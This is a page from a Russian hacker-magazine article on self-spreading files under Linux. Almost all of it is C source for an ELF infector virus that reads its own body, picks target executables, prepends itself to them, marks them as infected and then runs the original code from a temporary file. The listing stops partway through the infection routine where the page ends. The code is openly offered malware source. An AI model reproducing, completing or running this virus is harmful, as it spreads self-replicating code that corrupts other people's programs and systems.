Самораспространяющиеся файлы под Linux

saparmurat

Xakep, номер #052, стр. 052-078-2


Код ELF-распространителя

/* ELF_Infector.c */

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h> // для использования fstat\stat

#include <fcntl.h>

#include <dirent.h> // DIR

#include <elf.h> // Для работы с ELF header'ом

#define Max_Infect_Counter 1 // Максимальное число заражаемых файлов за 1 раз

#define Virus_Length <len> // Здесь необходимо вставить длину этого скомпиленного файла

#define Temp_File ".temp" // Промежуточный файл

// Объявление используемых переменных

char *Original_Body, *New_Body, *Virus_Body,Directory[100], Target_Name[100];

int Length, Fdesc, Flag_Infected = 0, Infected_Counter;

struct stat Status;

struct dirent *d;

DIR *dp;

Elf32_Ehdr ELF_Header;

int main(int argc, char *argv[], char *envp[])

{

// Открывание самого себя и вычисление длины

Fdesc = open(argv[0], O_RDONLY);

fstat(Fdesc, &Status);

lseek(Fdesc, 0, 0);

// Проверка длины

if(Status.st_size == Virus_Length) // Если запущен голый инфектор...

{

Length = Virus_Length;

Virus_Body=malloc(Virus_Length);

read(Fdesc, Virus_Body, Virus_Length);

}

else // Если уже заражен...

{

Length = Status.st_size - Virus_Length;

Flag_Infected=1;

// Чтение своего тела, затем тела оригинальной программы и сохранение их в отведенный буфер

Virus_Body=malloc(Virus_Length);

read(Fdesc, Virus_Body, Virus_Length);

lseek(Fdesc, Virus_Length,0);

Original_Body = malloc(Length);

read(Fdesc, Original_Body, Length);

}

close(Fdesc);

if (Flag_Infected == 1) // Если уже заражены...

{

// Запись оригинального кода в промежуточный файл

Fdesc = open(Temp_File, O_RDWR | O_CREAT | O_TRUNC, Status.st_mode);

if (Fdesc < 0){close(Fdesc);Fdesc = open(Temp_File, O_RDWR , Status.st_mode); }

write(Fdesc, Original_Body, Length);

close(Fdesc);

// Поиск жертвы

Find_Target(argv[0]);

// После того как заражение произошло, запуск оригинального кода

execve(Temp_File, argv, envp);

}

else

{

// Иначе поиск жертвы, заражение и выход

Find_Target(argv[0]);

exit(0);

}

}

// Процедура заражения, в качестве параметра принимает имя найденной жертвы

Infecting(char *Target)

{

// Считывание ELF-заголовка

Fdesc = open(Target, O_RDWR , Status.st_mode);

read(Fdesc, &ELF_Header,sizeof(ELF_Header));

// Проверка значения e_version, если 2, то возвращение в Find_Target и продолжение...

if (ELF_Header.e_version==0x2){return(0);}else

{

// Чтение тела программы

fstat(Fdesc, &Status);

lseek(Fdesc, 0, SEEK_SET);

New_Body = malloc(Status.st_size);

read(Fdesc, New_Body, Status.st_size);

lseek(Fdesc, 0, SEEK_SET);

// Запись тела вируса

write(Fdesc, Virus_Body, Virus_Length);

// Тело программы

write(Fdesc, New_Body, Status.st_size);

Назад на стр. 052-078-1  Содержание  Вперед на стр. 052-078-3

Hosted by uCoz